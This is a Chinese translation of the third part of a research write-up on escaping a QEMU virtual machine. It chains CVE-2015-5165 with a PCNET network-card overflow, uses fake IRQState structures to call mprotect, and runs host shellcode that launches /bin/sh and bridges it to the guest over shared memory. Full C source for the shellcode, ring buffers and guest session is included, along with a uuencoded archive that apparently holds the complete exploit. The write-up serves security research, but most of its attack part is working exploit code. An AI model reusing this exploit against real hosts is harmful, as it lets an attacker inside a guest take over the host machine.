欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[翻译]虚拟机逃逸——QEMU的案例分析(三)

[翻译]虚拟机逃逸——QEMU的案例分析(三)

其他部分

http://bbs.pediy.com/thread-217997.htm   虚拟机逃逸——QEMU的案例分析(一)

http://bbs.pediy.com/thread-217999.htm   虚拟机逃逸——QEMU的案例分析(二)


5.结合使用两个漏洞

  在这部分,我们合并了这上述两个漏洞,用来实现虚拟机逃逸并获得QEMU的特权实现在宿主机上运行代码。

  首先,我们利用 CVE-2015-5165来重建QEMU的结构。更确切的说,利用该漏洞获得以下地址来实现ASLR的绕道:

  - 用户物理内存基地址。在我们的漏洞利用中,需要定位用户并获得其在QEMU虚拟地址空间中的准确地址。

  - .text字段的基地址。这是为了获得qemu_set_irq()函数的地址。

  - .plt字段的基地址。这是为了确定一些函数的地址,比如生成我们恶意代码的fork()execv()函数。还需要mprotect()函数来修改用户物理地址。记得用户的物理地址是不可执行的。

 5.1 RIP控制

  如第4部分所示,我们已经控制了%rip寄存器。为了让QEMU在特定地址处泄露,我们需要用一个指向假IRQState结构体的地址指针来泄露PCNET缓冲区,该结构调用了一个我们选择的函数。

  首先,可以尝试构建一个假IRQState结构体调用system()。然而,有时调用会失败,因为一些QEMU内存映射不通过fork()调用。更确切的说即映射的物理内存有 MADV_DONTFORK参数。

  调用execv()也没用,因为我们失去了对用户机器的控制。

  还要注意可以连接一些泄露的IRQState来构造恶意代码调用许多函数,因为qemu_set_irq()PCNET设备仿真器多次调用。然而,我们发现更方便实用的方法是,设置恶意代码所在页内存的PROT_EXEC参数之后执行恶意代码。

  我们的方法是构造两个假IRQState结构体。第一个调用mprotect()。第二个调用恶意代码,首先取消MADV_DONTFORK参数,然后在用户和主机之间互动。

  如之前所述,当调用qemu_set_irq()时,输入两个参数:irqIRQstate结构体的指针)和levelIRQ level),然后调用如下处理程序:

  如之前所述,我们只能控制前两个参数。所以怎样调用mprotect()这样有三个参数的函数呢?

  为了解决这个问题,我们让qemu_set_irq()先调用自己的两个参数:

  - irq:指向假IRQState结构体的指针,设置处理程序指针指向mprotect()函数。

  - level:设置mprotect参数为PROT_READ | PROT_WRITE | PROT_EXEC

  这通过构造两个假IRQState结构体来实现,代码段如下:

  当溢出发生后,qemu_set_irq()被一个假的处理程序调用,该处理程序在调整level参数为7(要求mprotect参数)后调用mprotect

  现在内存可以执行了,我们可以通过将第一个IRQState的处理程序重写为我们的恶意代码地址,把控制权转交给交互式shell

 5.2 交互式Shell

  好了,我们可以简单的写一个基本的shellcode,构建一个远程控制端口的shell并从一个单独的机器上连接这个shell。这是个好的方案,但是我们可以做的更好来逃过防火墙限制。我们利用在用户和主机之间的共享内存来构建一个bindshell

  利用QEMU的漏洞是很巧妙的,因为我们在用户内存上写的代码已经在QEMU的进程内存中可用。所以不需要再注入shellcode。更好的,我们可以共享代码并让它运行在用户机和连接的主机上。

  我们构造了两个循环缓冲区(输入和输出)并给这些共享内存空间提供有自旋锁的读/写方法。在主机上,我们运行一个shellcode,在一个单独的进程中复制了其stdinstdout文件后执行/bin/shshell。我们还创建爱你了两个线程。第一个线程从共享内存中读命令并通过一个管道传递给shel。第二个线程读取shell的输出(通过另一个管道)然后写入共享内存。

  这两个线程还分别实例化了用户机,一个写入用户输入的命令到专用的共享内存,一个输出从第二个循环缓冲读取的结果到stdout

  注意在我们的漏洞利用中,有第三个线程(和一个专用共享区域)来处理stderr输出。

 5.3 虚拟机逃逸的利用

  这部分我们列出了虚拟机逃逸(vm-escape.c)用到的主要结构体和函数。

  注入的payload结构体定义如下:


  fake_irq是与假IRQState结构体一对的,负责调用mprotect()并改变配置所在页的页保护。

  shared_data结构体用来传递数据到主shellcode


  got结构体是一个全局变量偏移表。它包括shellcode运行需要的主要函数的地址。这些函数的地址从内存泄露中得到。

  主shellcode定义为如下函数:

/* main code to run after %rip control */

void shellcode(struct shared_data *shared_data)

{

	pthread_t t_in, t_out, t_err;

	int in_fds[2], out_fds[2], err_fds[2];

	struct brwpipe *in, *out, *err;

	char *args[2] = { shared_data->shell, NULL };

	if (shared_data->done) {

		return;

	}

	shared_data->got.madvise((uint64_t *)shared_data->addr,

	                         PHY_RAM, MADV_DOFORK);

	shared_data->got.pipe(in_fds);

	shared_data->got.pipe(out_fds);

	shared_data->got.pipe(err_fds);

	in = shared_data->got.malloc(sizeof(struct brwpipe));

	out = shared_data->got.malloc(sizeof(struct brwpipe));

	err = shared_data->got.malloc(sizeof(struct brwpipe));

	in->got = &shared_data->got;

	out->got = &shared_data->got;

	err->got = &shared_data->got;

	in->fd = in_fds[1];

	out->fd = out_fds[0];

	err->fd = err_fds[0];

	in->ring = &shared_data->shared_io.in;

	out->ring = &shared_data->shared_io.out;

	err->ring = &shared_data->shared_io.err;

	if (shared_data->got.fork() == 0) {

		shared_data->got.close(in_fds[1]);

		shared_data->got.close(out_fds[0]);

		shared_data->got.close(err_fds[0]);

		shared_data->got.dup2(in_fds[0], 0);

		shared_data->got.dup2(out_fds[1], 1);

		shared_data->got.dup2(err_fds[1], 2);

		shared_data->got.execv(shared_data->shell, args);

	}

	else {

		shared_data->got.close(in_fds[0]);

		shared_data->got.close(out_fds[1]);

		shared_data->got.close(err_fds[1]);

		shared_data->got.pthread_create(&t_in, NULL,

		                                shared_data->got.pipe_r2fd, in);

		shared_data->got.pthread_create(&t_out, NULL,

		                                shared_data->got.pipe_fd2r, out);

		shared_data->got.pthread_create(&t_err, NULL,

		                                shared_data->got.pipe_fd2r, err);

		shared_data->done = 1;

	}

}

  shellcode首先检查shared_data->done参数以避免多次执行(记住用来转移控制权给shellcodeqemu_set_irq参数会被

QEMU代码多次调用)。

  shellcode通过将shared_data->addr指向物理内存来调用 madvise()。必须取消MADV_DONTFORK标记来通过调用fork()保护内存映射。

  shellcode创建一个子进程负责启动一个shell(“/bin/sh”)。父进程启动一个线程使用共享内存区域来从用户机传递Shell命令到连接的主机,然后将这些命令的结果写会到用户机,父线程和子进程之间通过管道相互通信。

  如下所示,共享的内存区域包括一个循环缓冲区,该缓冲区通过sm_read()sm_write()原语进行访问:

struct shared_ring_buf {

	volatile bool lock;

	bool          empty;

	uint8_t       head;

	uint8_t       tail;

	uint8_t       buf[SHARED_BUFFER_SIZE];

};

static inline

__attribute__((always_inline))

ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring,

                char *out, ssize_t len)

{

	ssize_t read = 0, available = 0;

	do {

		/* spin lock */

		while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

		if (ring->head > ring->tail) { // loop on ring

			available = SHARED_BUFFER_SIZE - ring->head;

		} else {

			available = ring->tail - ring->head;

			if (available == 0 && !ring->empty) {

				available = SHARED_BUFFER_SIZE - ring->head;

			}

		}

		available = MIN(len - read, available);

		imemcpy(out, ring->buf + ring->head, available);

		read += available;

		out += available;

		ring->head += available;

		if (ring->head == SHARED_BUFFER_SIZE)

			ring->head = 0;

		if (available != 0 && ring->head == ring->tail)

			ring->empty = true;

		__atomic_clear(&ring->lock, __ATOMIC_RELAXED);

	} while (available != 0 || read == 0);

	return read;

}

static inline

__attribute__((always_inline))

ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring,

                 char *in, ssize_t len)

{

	ssize_t written = 0, available = 0;

	do {

		/* spin lock */

		while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

		if (ring->tail > ring->head) { // loop on ring

			available = SHARED_BUFFER_SIZE - ring->tail;

		} else {

			available = ring->head - ring->tail;

			if (available == 0 && ring->empty) {

				available = SHARED_BUFFER_SIZE - ring->tail;

			}

		}

		available = MIN(len - written, available);

		imemcpy(ring->buf + ring->tail, in, available);

		written += available;

		in += available;

		ring->tail += available;

		if (ring->tail == SHARED_BUFFER_SIZE)

			ring->tail = 0;

		if (available != 0)

			ring->empty = false;

		__atomic_clear(&ring->lock, __ATOMIC_RELAXED);

	} while (written != len);

	return written;

}

  这两个原语被以下线程函数使用。第一个函数从共享内存区域读取数据并写入文件寄存器。第二个函数从文件寄存器中读取数据并写入共享内存区。

void *pipe_r2fd(void *_brwpipe)

{

	struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;

	char buf[SHARED_BUFFER_SIZE];

	ssize_t len;

	while (true) {

		len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf));

		if (len > 0)

			brwpipe->got->write(brwpipe->fd, buf, len);

	}

	return NULL;

} SHELLCODE(pipe_r2fd)

void *pipe_fd2r(void *_brwpipe)

{

	struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;

	char buf[SHARED_BUFFER_SIZE];

	ssize_t len;

	while (true) {

		len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf));

		if (len < 0) {

			return NULL;

		} else if (len > 0) {

			len = sm_write(brwpipe->got, brwpipe->ring, buf, len);

		}

	}

	return NULL;

}

  注意这些函数的代码共享于主机和用户机。这些线程还在用户机上实例化来读取用户输入的命令并复制到专用共享内存区域(在内存中),并将这些命令运行的结果写入对应的共享内存区域(输出和err 共享内存)。

void session(struct shared_io *shared_io)

{

	size_t len;

	pthread_t t_in, t_out, t_err;

	struct GOT got;

	struct brwpipe *in, *out, *err;

	got.read = &read;

	got.write = &write;

	warnx("[!] enjoy your shell");

	fputs(COLOR_SHELL, stderr);

	in = malloc(sizeof(struct brwpipe));

	out = malloc(sizeof(struct brwpipe));

	err = malloc(sizeof(struct brwpipe));

	in->got = &got;

	out->got = &got;

	err->got = &got;

	in->fd = STDIN_FILENO;

	out->fd = STDOUT_FILENO;

	err->fd = STDERR_FILENO;

	in->ring = &shared_io->in;

	out->ring = &shared_io->out;

	err->ring = &shared_io->err;

	pthread_create(&t_in, NULL, pipe_fd2r, in);

	pthread_create(&t_out, NULL, pipe_r2fd, out);

	pthread_create(&t_err, NULL, pipe_r2fd, err);

	pthread_join(t_in, NULL);

	pthread_join(t_out, NULL);

	pthread_join(t_err, NULL);

}

  之前部分讨论过的计算过程表明,共享内存和进程/线程会在用户机和主机上启动。

  该逃逸过程在QEMU的一个脆弱版本4.9.2上实现,通过Gcc4.9.2版本构建。为了在特定的QEMU版本上也能实现,我们提供一个Shell scriptbuild-exploit.sh)将会输出一个需要的偏移地址的C头文件:


 5.4 局限

  注意,该逃逸过程有时是不能实现的。在我们的测试环境中(Debian 73.16内核,x_86_64),我们有十分之一的失败率。大多数的失败,都因无用的泄露的数据而无法重建QEMU的内存泄露。

  该逃逸过程不能在没有CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE标记的linux内核上实现。在这种情况下,QEMU二进制(由 -fPIE默认编译)映射到一个如下所示的单独的地址空间:


  结论是,我们的4字节溢出不适合irq指针的间接引用(最初位于堆的0x55xxxxxxxxxx处),所以它会指向我们的假IRQState结构体(注入到0x7fxxxxxxxxxx处)。 

6.结论

  本文中,我们阐述了QEMU网卡设备模拟器上的两种漏洞利用。结合使用这两种漏洞可以实现虚拟机逃逸并在宿主机上执行代码。

  在研究过程中,我们测试虚拟机超过1000次。用一个复杂的shellcode给每个进程产生大量的线程,实验不成功是让人沮丧的。所以,我们希望,已经提供了足够的技术细节和通用技术,可以用在将来的QEMU开发中。

7.致谢

  我们要感谢Pierre-Sylvain Desse的精辟建议。感谢coldshellKevin Schouteeten帮助我们在多种环境中测试。

  还要感谢Nelson Elhage在虚拟机逃逸方面所做的工作。

  感谢Phrack Staff的对修改文章和代码的建议。

8.引用

[1] http://venom.crowdstrike.com

[2] media.blackhat.com/bh-us-11/Elhage/BH_US_11_Elhage_Virtunoid_WP.pdf

[3] https://github.com/nelhage/virtunoid/blob/master/virtunoid.c

[4] http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf

[5] https://www.kernel.org/doc/Documentation/vm/pagemap.txt

[6] https://blog.affien.com/archives/2005/07/15/reversing-crc/

9.源代码

begin 644 vm_escape.tar.gz

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

MP.S*I3UUN[R$(9IO)D/+`7<7OAP_Q&43*,H_<+ED0-          

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功